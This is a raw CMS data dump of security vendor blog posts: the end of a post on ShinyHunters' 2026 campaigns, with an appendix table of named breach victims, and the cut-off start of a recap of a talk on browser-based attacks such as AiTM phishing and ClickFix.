period.",{"data":35226,"content":35227,"nodeType":860},{},[35228,35232,35239],{"data":35229,"marks":35230,"value":35231,"nodeType":864},{},[],"Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like ",{"data":35233,"content":35235,"nodeType":883},{"uri":35234},"https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection",[35236],{"data":35237,"marks":35238,"value":315,"nodeType":864},{},[],{"data":35240,"marks":35241,"value":35242,"nodeType":864},{},[],", closing the loop between the credential supply side and the browser-layer detection point.",{"data":35244,"content":35245,"nodeType":1312},{},[35246],{"data":35247,"marks":35248,"value":13350,"nodeType":864},{},[35249],{"type":899},{"data":35251,"content":35252,"nodeType":860},{},[35253],{"data":35254,"marks":35255,"value":35256,"nodeType":864},{},[],"Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise. ",{"data":35258,"content":35259,"nodeType":860},{},[35260,35265],{"data":35261,"marks":35262,"value":35264,"nodeType":864},{},[35263],{"type":899},"For vishing + AiTM attacks, ",{"data":35266,"marks":35267,"value":35268,"nodeType":864},{},[],"Push's behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user's browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.  ",{"data":35270,"content":35271,"nodeType":860},{},[35272,35277],{"data":35273,"marks":35274,"value":35276,"nodeType":864},{},[35275],{"type":899},"For device code phishing,",{"data":35278,"marks":35279,"value":35280,"nodeType":864},{},[]," Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure and the legitimate auth pages that the attack flow depends on.",{"data":35282,"content":35283,"nodeType":860},{},[35284,35289],{"data":35285,"marks":35286,"value":35288,"nodeType":864},{},[35287],{"type":899},"For OAuth supply chain attacks,",{"data":35290,"marks":35291,"value":35292,"nodeType":864},{},[]," Push's detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it's requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place. ",{"data":35294,"content":35295,"nodeType":860},{},[35296,35301],{"data":35297,"marks":35298,"value":35300,"nodeType":864},{},[35299],{"type":899},"For the infostealer credential playbook,",{"data":35302,"marks":35303,"value":35304,"nodeType":864},{},[]," Push's stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push's ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.",{"data":35306,"content":35307,"nodeType":860},{},[35308,35311,35318],{"data":35309,"marks":35310,"value":21,"nodeType":864},{},[],{"data":35312,"content":35313,"nodeType":883},{"uri":8621},[35314],{"data":35315,"marks":35316,"value":35317,"nodeType":864},{},[],"Learn more about how you can use Push controls to protect your users from in-browser threats here. ",{"data":35319,"marks":35320,"value":21,"nodeType":864},{},[],{"data":35322,"content":35323,"nodeType":1312},{},[35324],{"data":35325,"marks":35326,"value":35328,"nodeType":864},{},[35327],{"type":899},"Closing thoughts",{"data":35330,"content":35331,"nodeType":860},{},[35332],{"data":35333,"marks":35334,"value":35335,"nodeType":864},{},[],"The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.",{"data":35337,"content":35338,"nodeType":1005},{},[],{"data":35340,"content":35341,"nodeType":860},{},[35342],{"data":35343,"marks":35344,"value":4855,"nodeType":864},{},[],{"data":35346,"content":35347,"nodeType":860},{},[35348],{"data":35349,"marks":35350,"value":1689,"nodeType":864},{},[],{"data":35352,"content":35353,"nodeType":860},{},[35354,35357,35363],{"data":35355,"marks":35356,"value":21,"nodeType":864},{},[],{"data":35358,"content":35359,"nodeType":883},{"uri":5642},[35360],{"data":35361,"marks":35362,"value":1703,"nodeType":864},{},[],{"data":35364,"marks":35365,"value":21,"nodeType":864},{},[],{"data":35367,"content":35368,"nodeType":1005},{},[],{"data":35370,"content":35371,"nodeType":1009},{},[35372],{"data":35373,"marks":35374,"value":35376,"nodeType":864},{},[35375],{"type":899},"Appendix: named ShinyHunters victims since May 2025",{"data":35378,"content":35379,"nodeType":860},{},[35380,35384,35391],{"data":35381,"marks":35382,"value":35383,"nodeType":864},{},[],"To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&S, Co-op, and Jaguar Land Rover claimed by the ",{"data":35385,"content":35386,"nodeType":883},{"uri":6237},[35387],{"data":35388,"marks":35389,"value":35390,"nodeType":864},{},[],"Scattered Lapsus$ Hunters \"brand\"",{"data":35392,"marks":35393,"value":35394,"nodeType":864},{},[]," also aren't listed below. ",{"data":35396,"content":35397,"nodeType":4845},{},[35398,35445,35509,35557,35605],{"data":35399,"content":35400,"nodeType":4581},{},[35401,35412,35423,35434],{"data":35402,"content":35403,"nodeType":4569},{},[35404],{"data":35405,"content":35406,"nodeType":860},{},[35407],{"data":35408,"marks":35409,"value":35411,"nodeType":864},{},[35410],{"type":899},"Campaign",{"data":35413,"content":35414,"nodeType":4569},{},[35415],{"data":35416,"content":35417,"nodeType":860},{},[35418],{"data":35419,"marks":35420,"value":35422,"nodeType":864},{},[35421],{"type":899},"Began",{"data":35424,"content":35425,"nodeType":4569},{},[35426],{"data":35427,"content":35428,"nodeType":860},{},[35429],{"data":35430,"marks":35431,"value":35433,"nodeType":864},{},[35432],{"type":899},"Named victims",{"data":35435,"content":35436,"nodeType":4569},{},[35437],{"data":35438,"content":35439,"nodeType":860},{},[35440],{"data":35441,"marks":35442,"value":35444,"nodeType":864},{},[35443],{"type":899},"Confirmed impact",{"data":35446,"content":35447,"nodeType":4581},{},[35448,35472,35482,35492],{"data":35449,"content":35450,"nodeType":4569},{},[35451],{"data":35452,"content":35453,"nodeType":860},{},[35454,35459,35463,35468],{"data":35455,"marks":35456,"value":35458,"nodeType":864},{},[35457],{"type":899},"ShinyHunters Salesforce Vishing",{"data":35460,"marks":35461,"value":35462,"nodeType":864},{},[]," (vishing + device code phishing → Salesforce connected app authorization) \n\n& ",{"data":35464,"marks":35465,"value":35467,"nodeType":864},{},[35466],{"type":899},"Salesloft/Drift Supply Chain",{"data":35469,"marks":35470,"value":35471,"nodeType":864},{},[]," (stolen OAuth tokens → downstream Salesforce access)",{"data":35473,"content":35474,"nodeType":4569},{},[35475],{"data":35476,"content":35477,"nodeType":860},{},[35478],{"data":35479,"marks":35480,"value":35481,"nodeType":864},{},[],"May 2025",{"data":35483,"content":35484,"nodeType":4569},{},[35485],{"data":35486,"content":35487,"nodeType":860},{},[35488],{"data":35489,"marks":35490,"value":35491,"nodeType":864},{},[],"Coca-Cola Europacific Partners, Cisco, Qantas, LVMH, Adidas, Google, Chanel, Pandora, Allianz Life, Air France-KLM, Farmers Insurance, Workday, TransUnion, Stellantis, Kering, Odido, Hallmark, Salesloft (origin), Toast, Avalara, Fastly, Cato Networks, Cloudflare, Palo Alto Networks, Zscaler, Tenable, Elastic, JFrog, CyberArk, Rubrik, BeyondTrust, Proofpoint, Workiva, Mercer Advisors, Beacon Pointe, Ameriprise, Kemper, Udemy, 7-Eleven, Mytheresa, Marcus & Millichap, Carnival, Pitney Bowes, Alert 360, Amtrak, McGraw-Hill, Canada Life, Charter Communications",{"data":35493,"content":35494,"nodeType":4569},{},[35495,35502],{"data":35496,"content":35497,"nodeType":860},{},[35498],{"data":35499,"marks":35500,"value":35501,"nodeType":864},{},[],"49 named victims. Confirmed individual impact includes 23M+ records (Coca-Cola), 5.7M records (Qantas), 6.2M customers (Odido), 4.4M consumers (TransUnion), up to 18M records (Stellantis), 13.5M emails (McGraw-Hill), 8.2M emails (Pitney Bowes), 7.5M emails (Carnival), 7-Eleven: 185K confirmed by HIBP (SSNs, driver's licenses; franchisee data), Charter Communications: millions of records claimed (company disputes scope). ",{"data":35503,"content":35504,"nodeType":860},{},[35505],{"data":35506,"marks":35507,"value":35508,"nodeType":864},{},[],"ShinyHunters claims 1.5B+ Salesforce records across 1,000+ organizations total.",{"data":35510,"content":35511,"nodeType":4581},{},[35512,35527,35537,35547],{"data":35513,"content":35514,"nodeType":4569},{},[35515],{"data":35516,"content":35517,"nodeType":860},{},[35518,35523],{"data":35519,"marks":35520,"value":35522,"nodeType":864},{},[35521],{"type":899},"Vishing + AiTM SSO",{"data":35524,"marks":35525,"value":35526,"nodeType":864},{},[]," (vishing → AiTM phishing page → SSO session capture → SaaS data exfiltration)",{"data":35528,"content":35529,"nodeType":4569},{},[35530],{"data":35531,"content":35532,"nodeType":860},{},[35533],{"data":35534,"marks":35535,"value":35536,"nodeType":864},{},[],"Aug 2025",{"data":35538,"content":35539,"nodeType":4569},{},[35540],{"data":35541,"content":35542,"nodeType":860},{},[35543],{"data":35544,"marks":35545,"value":35546,"nodeType":864},{},[],"SoundCloud, GrubHub, Panera Bread, Match Group, Crunchbase, Betterment, CarMax, Edmunds, CarGurus, Hims & Hers, University of Pennsylvania, Harvard University, Optimizely, TELUS Digital, Crunchyroll, ADT",{"data":35548,"content":35549,"nodeType":4569},{},[35550],{"data":35551,"content":35552,"nodeType":860},{},[35553],{"data":35554,"marks":35555,"value":35556,"nodeType":864},{},[],"16 named victims. Confirmed individual impact includes ~30M records (SoundCloud), ~14M records (Panera), 10M+ records (Match Group), ~20M records (Betterment), 5.5M people (ADT), 1M+ records (UPenn), ~1PB stolen from TELUS Digital ($65M ransom refused).",{"data":35558,"content":35559,"nodeType":4581},{},[35560,35575,35585,35595],{"data":35561,"content":35562,"nodeType":4569},{},[35563],{"data":35564,"content":35565,"nodeType":860},{},[35566,35571],{"data":35567,"marks":35568,"value":35570,"nodeType":864},{},[35569],{"type":899},"Anodot Supply Chain",{"data":35572,"marks":35573,"value":35574,"nodeType":864},{},[]," (stolen OAuth tokens → downstream Snowflake/BigQuery access)",{"data":35576,"content":35577,"nodeType":4569},{},[35578],{"data":35579,"content":35580,"nodeType":860},{},[35581],{"data":35582,"marks":35583,"value":35584,"nodeType":864},{},[],"Apr 2026",{"data":35586,"content":35587,"nodeType":4569},{},[35588],{"data":35589,"content":35590,"nodeType":860},{},[35591],{"data":35592,"marks":35593,"value":35594,"nodeType":864},{},[],"Anodot/Glassbox (origin), Rockstar Games, Vimeo, Zara/Inditex",{"data":35596,"content":35597,"nodeType":4569},{},[35598],{"data":35599,"content":35600,"nodeType":860},{},[35601],{"data":35602,"marks":35603,"value":35604,"nodeType":864},{},[],"4 named victims (12+ total claimed). 78.6M records (Rockstar Games), 197K individuals (Zara), 119K individuals (Vimeo).",{"data":35606,"content":35607,"nodeType":4581},{},[35608,35623,35632,35642],{"data":35609,"content":35610,"nodeType":4569},{},[35611],{"data":35612,"content":35613,"nodeType":860},{},[35614,35619],{"data":35615,"marks":35616,"value":35618,"nodeType":864},{},[35617],{"type":899},"Other SLH-attributed",{"data":35620,"marks":35621,"value":35622,"nodeType":864},{},[]," (misc. vectors including infostealer chains, CI/CD supply chain, SaaS platform compromise)",{"data":35624,"content":35625,"nodeType":4569},{},[35626],{"data":35627,"content":35628,"nodeType":860},{},[35629],{"data":35630,"marks":35631,"value":35481,"nodeType":864},{},[],{"data":35633,"content":35634,"nodeType":4569},{},[35635],{"data":35636,"content":35637,"nodeType":860},{},[35638],{"data":35639,"marks":35640,"value":35641,"nodeType":864},{},[],"UK Legal Aid Agency, Mixpanel, Wynn Resorts, Woflow, Vercel, European Commission, Mercor, Medtronic, Instructure",{"data":35643,"content":35644,"nodeType":4569},{},[35645],{"data":35646,"content":35647,"nodeType":860},{},[35648],{"data":35649,"marks":35650,"value":35651,"nodeType":864},{},[],"10 named victims across varied vectors. Notable: Vercel (Lumma Stealer → Context.ai OAuth app → Google Workspace), European Commission (poisoned Trivy GitHub Action → 340GB across 71 EU entities)",{"data":35653,"content":35654,"nodeType":860},{},[35655],{"data":35656,"marks":35657,"value":21,"nodeType":864},{},[],"The three attack techniques behind ShinyHunters' 2026 campaigns ","ShinyHunters' breach of Instructure is the latest in a long series of attacks. Here's our view of the big picture. ","analyzing-the-instructure-breach",{"items":35662},[35663,35665],{"sys":35664,"name":6593},{"id":6592},{"sys":35666,"name":342},{"id":6596},{"items":35668},[35669],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":35670},{"url":2740},{"__typename":2059,"sys":35672,"content":35673,"title":14028,"synopsis":14029,"hashTags":59,"publishedDate":14030,"slug":14031,"tagsCollection":36103,"authorsCollection":36109},{"id":13522},{"json":35674},{"data":35675,"content":35676,"nodeType":856},{},[35677,35684,35708,35713,35719,35734,35747,35750,35757,35770,35786,35806,35811,35824,35848,35853,35858,35871,35874,35881,35887,35894,35910,35923,35930,35952,35958,35965,35989,35995,36002,36008,36013,36016,36023,36029,36036,36041,36044,36051,36057,36063,36069,36079,36082,36088],{"data":35678,"content":35679,"nodeType":1009},{},[35680],{"data":35681,"marks":35682,"value":13534,"nodeType":864},{},[35683],{"type":899},{"data":35685,"content":35686,"nodeType":860},{},[35687,35690,35696,35699,35705],{"data":35688,"marks":35689,"value":13541,"nodeType":864},{},[],{"data":35691,"content":35692,"nodeType":883},{"uri":13544},[35693],{"data":35694,"marks":35695,"value":13549,"nodeType":864},{},[],{"data":35697,"marks":35698,"value":13553,"nodeType":864},{},[],{"data":35700,"content":35701,"nodeType":883},{"uri":13556},[35702],{"data":35703,"marks":35704,"value":13561,"nodeType":864},{},[],{"data":35706,"marks":35707,"value":13565,"nodeType":864},{},[],{"data":35709,"content":35712,"nodeType":996},{"target":35710},{"sys":35711},{"id":13570,"type":1001,"linkType":1002},[],{"data":35714,"content":35715,"nodeType":860},{},[35716],{"data":35717,"marks":35718,"value":13578,"nodeType":864},{},[],{"data":35720,"content":35721,"nodeType":860},{},[35722,35725,35731],{"data":35723,"marks":35724,"value":13585,"nodeType":864},{},[],{"data":35726,"content":35727,"nodeType":883},{"uri":13588},[35728],{"data":35729,"marks":35730,"value":13593,"nodeType":864},{},[],{"data":35732,"marks":35733,"value":13597,"nodeType":864},{},[],{"data":35735,"content":35736,"nodeType":860},{},[35737,35740,35744],{"data":35738,"marks":35739,"value":13604,"nodeType":864},{},[],{"data":35741,"marks":35742,"value":13609,"nodeType":864},{},[35743],{"type":899},{"data":35745,"marks":35746,"value":2924,"nodeType":864},{},[],{"data":35748,"content":35749,"nodeType":1005},{},[],{"data":35751,"content":35752,"nodeType":1009},{},[35753],{"data":35754,"marks":35755,"value":13623,"nodeType":864},{},[35756],{"type":899},{"data":35758,"content":35759,"nodeType":860},{},[35760,35763,35767],{"data":35761,"marks":35762,"value":13630,"nodeType":864},{},[],{"data":35764,"marks":35765,"value":13635,"nodeType":864},{},[35766],{"type":2246},{"data":35768,"marks":35769,"value":2924,"nodeType":864},{},[],{"data":35771,"content":35772,"nodeType":860},{},[35773,35776,35783],{"data":35774,"marks":35775,"value":13645,"nodeType":864},{},[],{"data":35777,"content":35778,"nodeType":883},{"uri":13366},[35779],{"data":35780,"marks":35781,"value":13653,"nodeType":864},{},[35782],{"type":1455},{"data":35784,"marks":35785,"value":13657,"nodeType":864},{},[],{"data":35787,"content":35788,"nodeType":860},{},[35789,35792,35796,35799,35803],{"data":35790,"marks":35791,"value":13664,"nodeType":864},{},[],{"data":35793,"marks":35794,"value":13669,"nodeType":864},{},[35795],{"type":899},{"data":35797,"marks":35798,"value":13673,"nodeType":864},{},[],{"data":35800,"marks":35801,"value":13678,"nodeType":864},{},[35802],{"type":2246},{"data":35804,"marks":35805,"value":13682,"nodeType":864},{},[],{"data":35807,"content":35810,"nodeType":996},{"target":35808},{"sys":35809},{"id":13687,"type":1001,"linkType":1002},[],{"data":35812,"content":35813,"nodeType":860},{},[35814,35817,35821],{"data":35815,"marks":35816,"value":13695,"nodeType":864},{},[],{"data":35818,"marks":35819,"value":13700,"nodeType":864},{},[35820],{"type":899},{"data":35822,"marks":35823,"value":13704,"nodeType":864},{},[],{"data":35825,"content":35826,"nodeType":860},{},[35827,35830,35836,35839,35845],{"data":35828,"marks":35829,"value":13711,"nodeType":864},{},[],{"data":35831,"content":35832,"nodeType":883},{"uri":13714},[35833],{"data":35834,"marks":35835,"value":13719,"nodeType":864},{},[],{"data":35837,"marks":35838,"value":13723,"nodeType":864},{},[],{"data":35840,"content":35841,"nodeType":883},{"uri":13726},[35842],{"data":35843,"marks":35844,"value":13731,"nodeType":864},{},[],{"data":35846,"marks":35847,"value":1774,"nodeType":864},{},[],{"data":35849,"content":35852,"nodeType":996},{"target":35850},{"sys":35851},{"id":13739,"type":1001,"linkType":1002},[],{"data":35854,"content":35857,"nodeType":996},{"target":35855},{"sys":35856},{"id":13745,"type":1001,"linkType":1002},[],{"data":35859,"content":35860,"nodeType":860},{},[35861,35864,35868],{"data":35862,"marks":35863,"value":13753,"nodeType":864},{},[],{"data":35865,"marks":35866,"value":13758,"nodeType":864},{},[35867],{"type":899},{"data":35869,"marks":35870,"value":13762,"nodeType":864},{},[],{"data":35872,"content":35873,"nodeType":1005},{},[],{"data":35875,"content":35876,"nodeType":1009},{},[35877],{"data":35878,"marks":35879,"value":13773,"nodeType":864},{},[35880],{"type":899},{"data":35882,"content":35883,"nodeType":860},{},[35884],{"data":35885,"marks":35886,"value":13780,"nodeType":864},{},[],{"data":35888,"content":35889,"nodeType":1312},{},[35890],{"data":35891,"marks":35892,"value":13788,"nodeType":864},{},[35893],{"type":899},{"data":35895,"content":35896,"nodeType":860},{},[35897,35900,35907],{"data":35898,"marks":35899,"value":21,"nodeType":864},{},[],{"data":35901,"content":35902,"nodeType":883},{"uri":4103},[35903],{"data":35904,"marks":35905,"value":13802,"nodeType":864},{},[35906],{"type":1455},{"data":35908,"marks":35909,"value":13806,"nodeType":864},{},[],{"data":35911,"content":35912,"nodeType":860},{},[35913,35916,35920],{"data":35914,"marks":35915,"value":13813,"nodeType":864},{},[],{"data":35917,"marks":35918,"value":13818,"nodeType":864},{},[35919],{"type":899},{"data":35921,"marks":35922,"value":13822,"nodeType":864},{},[],{"data":35924,"content":35925,"nodeType":1312},{},[35926],{"data":35927,"marks":35928,"value":288,"nodeType":864},{},[35929],{"type":899},{"data":35931,"content":35932,"nodeType":860},{},[35933,35937,35945,35949],{"data":35934,"marks":35935,"value":21,"nodeType":864},{},[35936],{"type":899},{"data":35938,"content":35939,"nodeType":883},{"uri":2411},[35940],{"data":35941,"marks":35942,"value":13845,"nodeType":864},{},[35943,35944],{"type":1455},{"type":899},{"data":35946,"marks":35947,"value":13850,"nodeType":864},{},[35948],{"type":899},{"data":35950,"marks":35951,"value":13854,"nodeType":864},{},[],{"data":35953,"content":35954,"nodeType":860},{},[35955],{"data":35956,"marks":35957,"value":13861,"nodeType":864},{},[],{"data":35959,"content":35960,"nodeType":1312},{},[35961],{"data":35962,"marks":35963,"value":13869,"nodeType":864},{},[35964],{"type":899},{"data":35966,"content":35967,"nodeType":860},{},[35968,35971,35977,35980,35986],{"data":35969,"marks":35970,"value":13876,"nodeType":864},{},[],{"data":35972,"content":35973,"nodeType":883},{"uri":5971},[35974],{"data":35975,"marks":35976,"value":13883,"nodeType":864},{},[],{"data":35978,"marks":35979,"value":13887,"nodeType":864},{},[],{"data":35981,"content":35982,"nodeType":883},{"uri":3237},[35983],{"data":35984,"marks":35985,"value":13894,"nodeType":864},{},[],{"data":35987,"marks":35988,"value":13898,"nodeType":864},{},[],{"data":35990,"content":35991,"nodeType":860},{},[35992],{"data":35993,"marks":35994,"value":13905,"nodeType":864},{},[],{"data":35996,"content":35997,"nodeType":1312},{},[35998],{"data":35999,"marks":36000,"value":13913,"nodeType":864},{},[36001],{"type":899},{"data":36003,"content":36004,"nodeType":860},{},[36005],{"data":36006,"marks":36007,"value":13920,"nodeType":864},{},[],{"data":36009,"content":36012,"nodeType":996},{"target":36010},{"sys":36011},{"id":13925,"type":1001,"linkType":1002},[],{"data":36014,"content":36015,"nodeType":1005},{},[],{"data":36017,"content":36018,"nodeType":1009},{},[36019],{"data":36020,"marks":36021,"value":13937,"nodeType":864},{},[36022],{"type":899},{"data":36024,"content":36025,"nodeType":860},{},[36026],{"data":36027,"marks":36028,"value":13944,"nodeType":864},{},[],{"data":36030,"content":36031,"nodeType":860},{},[36032],{"data":36033,"marks":36034,"value":13952,"nodeType":864},{},[36035],{"type":899},{"data":36037,"content":36040,"nodeType":996},{"target":36038},{"sys":36039},{"id":13957,"type":1001,"linkType":1002},[],{"data":36042,"content":36043,"nodeType":1005},{},[],{"data":36045,"content":36046,"nodeType":1312},{},[36047],{"data":36048,"marks":36049,"value":13969,"nodeType":864},{},[36050],{"type":899},{"data":36052,"content":36053,"nodeType":860},{},[36054],{"data":36055,"marks":36056,"value":13976,"nodeType":864},{},[],{"data":36058,"content":36059,"nodeType":860},{},[36060],{"data":36061,"marks":36062,"value":13983,"nodeType":864},{},[],{"data":36064,"content":36065,"nodeType":860},{},[36066],{"data":36067,"marks":36068,"value":13990,"nodeType":864},{},[],{"data":36070,"content":36071,"nodeType":860},{},[36072,36076],{"data":36073,"marks":36074,"value":13998,"nodeType":864},{},[36075],{"type":899},{"data":36077,"marks":36078,"value":14002,"nodeType":864},{},[],{"data":36080,"content":36081,"nodeType":1005},{},[],{"data":36083,"content":36084,"nodeType":860},{},[36085],{"data":36086,"marks":36087,"value":4855,"nodeType":864},{},[],{"data":36089,"content":36090,"nodeType":860},{},[36091,36094,36100],{"data":36092,"marks":36093,"value":14018,"nodeType":864},{},[],{"data":36095,"content":36096,"nodeType":883},{"uri":12501},[36097],{"data":36098,"marks":36099,"value":8163,"nodeType":864},{},[],{"data":36101,"marks":36102,"value":2719,"nodeType":864},{},[],{"items":36104},[36105,36107],{"sys":36106,"name":2729},{"id":2728},{"sys":36108,"name":342},{"id":6596},{"items":36110},[36111],{"fullName":3621,"firstName":3622,"jobTitle":3623,"profilePicture":36112},{"url":3625},"verizon-dbir-2026-review","blog/verizon-dbir-2026-review",{"json":36116},{"data":36117,"content":36118,"nodeType":856},{},[36119],{"data":36120,"content":36121,"nodeType":860},{},[36122],{"data":36123,"marks":36124,"value":36125,"nodeType":864},{},[],"Verizon's 2026 Data Breach Investigations Report landed this week with the largest dataset in the report's 19-year history — more than 22,000 confirmed breaches across 145 countries, nearly double last year's count.","What we can learn from 2026's installment of the Verizon Data Breach Investigations Report.",{"id":36128,"publishedAt":36129},"7sZs2lHCTN8oYc2OIGCIQG","2026-08-12T12:00:55.865Z",{"items":36131},[36132,36134],{"sys":36133,"name":297},{"id":2732},{"sys":36135,"name":6593},{"id":6592},{"items":36137},[36138,36140,36142,36144,36146,36148,36150,36152,36154,36156,36158,36160,36162,36164,36166,36168,36170,36172,36174,36176,36178,36180,36182,36184],{"sys":36139,"name":279,"slug":280,"tier":31},{"id":276},{"sys":36141,"name":413,"slug":414,"tier":31},{"id":410},{"sys":36143,"name":642,"slug":643,"tier":31},{"id":639},{"sys":36145,"name":519,"slug":520,"tier":31},{"id":516},{"sys":36147,"name":297,"slug":298,"tier":31},{"id":294},{"sys":36149,"name":235,"slug":236,"tier":31},{"id":232},{"sys":36151,"name":422,"slug":423,"tier":45},{"id":419},{"sys":36153,"name":315,"slug":316,"tier":45},{"id":312},{"sys":36155,"name":324,"slug":325,"tier":45},{"id":321},{"sys":36157,"name":580,"slug":581,"tier":45},{"id":577},{"sys":36159,"name":537,"slug":538,"tier":45},{"id":534},{"sys":36161,"name":633,"slug":634,"tier":45},{"id":630},{"sys":36163,"name":261,"slug":262,"tier":45},{"id":258},{"sys":36165,"name":475,"slug":476,"tier":45},{"id":472},{"sys":36167,"name":333,"slug":334,"tier":45},{"id":330},{"sys":36169,"name":457,"slug":458,"tier":45},{"id":454},{"sys":36171,"name":288,"slug":289,"tier":45},{"id":285},{"sys":36173,"name":252,"slug":253,"tier":45},{"id":249},{"sys":36175,"name":607,"slug":608,"tier":45},{"id":604},{"sys":36177,"name":650,"slug":651,"tier":45},{"id":647},{"sys":36179,"name":244,"slug":245,"tier":45},{"id":241},{"sys":36181,"name":368,"slug":369,"tier":45},{"id":365},{"sys":36183,"name":571,"slug":572,"tier":45},{"id":568},{"sys":36185,"name":484,"slug":485,"tier":45},{"id":481},"hcNrtVGANdYvnes1Z8X1g9b6b_dm694k5qOhLd1GfaI",{"id":36188,"title":36189,"authorsCollection":36190,"content":36194,"extension":228,"faqItemsCollection":36780,"faqTitle":59,"featured":6,"hashTags":59,"meta":36782,"metaTitle":36783,"ogImage":59,"postType":8776,"publishedDate":36784,"relatedBlogPostsCollection":36785,"slug":41058,"stem":41059,"subtitle":59,"summary":41060,"synopsis":41071,"sys":41072,"tagsCollection":41075,"topicsCollection":41081,"__hash__":41127},"blog/blog/7-things-we-learned-from-john-hammond.json","7 things we learned from ‘Why the browser is the new battleground’ with John Hammond",{"items":36191},[36192],{"fullName":28080,"firstName":28081,"jobTitle":28082,"socialLinks":59,"profilePicture":36193},{"url":28084},{"json":36195,"links":36771},{"data":36196,"content":36197,"nodeType":856},{},[36198,36218,36224,36227,36235,36285,36295,36298,36306,36324,36331,36354,36372,36375,36383,36401,36408,36415,36425,36428,36436,36467,36485,36488,36496,36513,36520,36527,36530,36538,36555,36562,36580,36590,36597,36600,36608,36624,36631,36638,36650,36660,36677,36680,36688,36695,36742],{"data":36199,"content":36200,"nodeType":860},{},[36201,36205,36214],{"data":36202,"marks":36203,"value":36204,"nodeType":864},{},[],"We recently sat down with ",{"data":36206,"content":36208,"nodeType":883},{"uri":36207},"https://www.youtube.com/@_JohnHammond",[36209],{"data":36210,"marks":36211,"value":36213,"nodeType":864},{},[36212],{"type":1455},"John Hammond",{"data":36215,"marks":36216,"value":36217,"nodeType":864},{},[]," — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.",{"data":36219,"content":36223,"nodeType":996},{"target":36220},{"sys":36221},{"id":36222,"type":1001,"linkType":1002},"5lJ49aLY0nApDeY69tNvUi",[],{"data":36225,"content":36226,"nodeType":1005},{},[],{"data":36228,"content":36229,"nodeType":1009},{},[36230],{"data":36231,"marks":36232,"value":36234,"nodeType":864},{},[36233],{"type":899},"1. Browser attacks are evolving faster than defenses can adapt",{"data":36236,"content":36237,"nodeType":860},{},[36238,36242,36249,36253,36260,36264,36271,36275,36282],{"data":36239,"marks":36240,"value":36241,"nodeType":864},{},[],"The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been ",{"data":36243,"content":36244,"nodeType":883},{"uri":5914},[36245],{"data":36246,"marks":36247,"value":36248,"nodeType":864},{},[],"the dominant phishing technique",{"data":36250,"marks":36251,"value":36252,"nodeType":864},{},[]," for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to ",{"data":36254,"content":36255,"nodeType":883},{"uri":13366},[36256],{"data":36257,"marks":36258,"value":36259,"nodeType":864},{},[],"the most common initial access vector observed by Microsoft",{"data":36261,"marks":36262,"value":36263,"nodeType":864},{},[]," within about a year. Device code phishing went from near-zero to ",{"data":36265,"content":36266,"nodeType":883},{"uri":3259},[36267],{"data":36268,"marks":36269,"value":36270,"nodeType":864},{},[],"at least 12 distinct kits",{"data":36272,"marks":36273,"value":36274,"nodeType":864},{},[]," in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been ",{"data":36276,"content":36277,"nodeType":883},{"uri":6075},[36278],{"data":36279,"marks":36280,"value":36281,"nodeType":864},{},[],"operationalized on criminal forums",{"data":36283,"marks":36284,"value":2924,"nodeType":864},{},[],{"data":36286,"content":36287,"nodeType":1116},{},[36288],{"data":36289,"content":36290,"nodeType":860},{},[36291],{"data":36292,"marks":36293,"value":36294,"nodeType":864},{},[],"As Luke put it toward the end of the session: \"I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is.\"",{"data":36296,"content":36297,"nodeType":1005},{},[],{"data":36299,"content":36300,"nodeType":1009},{},[36301],{"data":36302,"marks":36303,"value":36305,"nodeType":864},{},[36304],{"type":899},"2. AiTM phishing is table stakes for attackers ",{"data":36307,"content":36308,"nodeType":860},{},[36309,36313,36320],{"data":36310,"marks":36311,"value":36312,"nodeType":864},{},[],"Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others",{"data":36314,"content":36315,"nodeType":883},{"uri":5914},[36316],{"data":36317,"marks":36318,"value":34889,"nodeType":864},{},[36319],{"type":1455},{"data":36321,"marks":36322,"value":36323,"nodeType":864},{},[]," and the kits are getting harder to detect through traditional means.",{"data":36325,"content":36326,"nodeType":860},{},[36327],{"data":36328,"marks":36329,"value":36330,"nodeType":864},{},[],"Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely 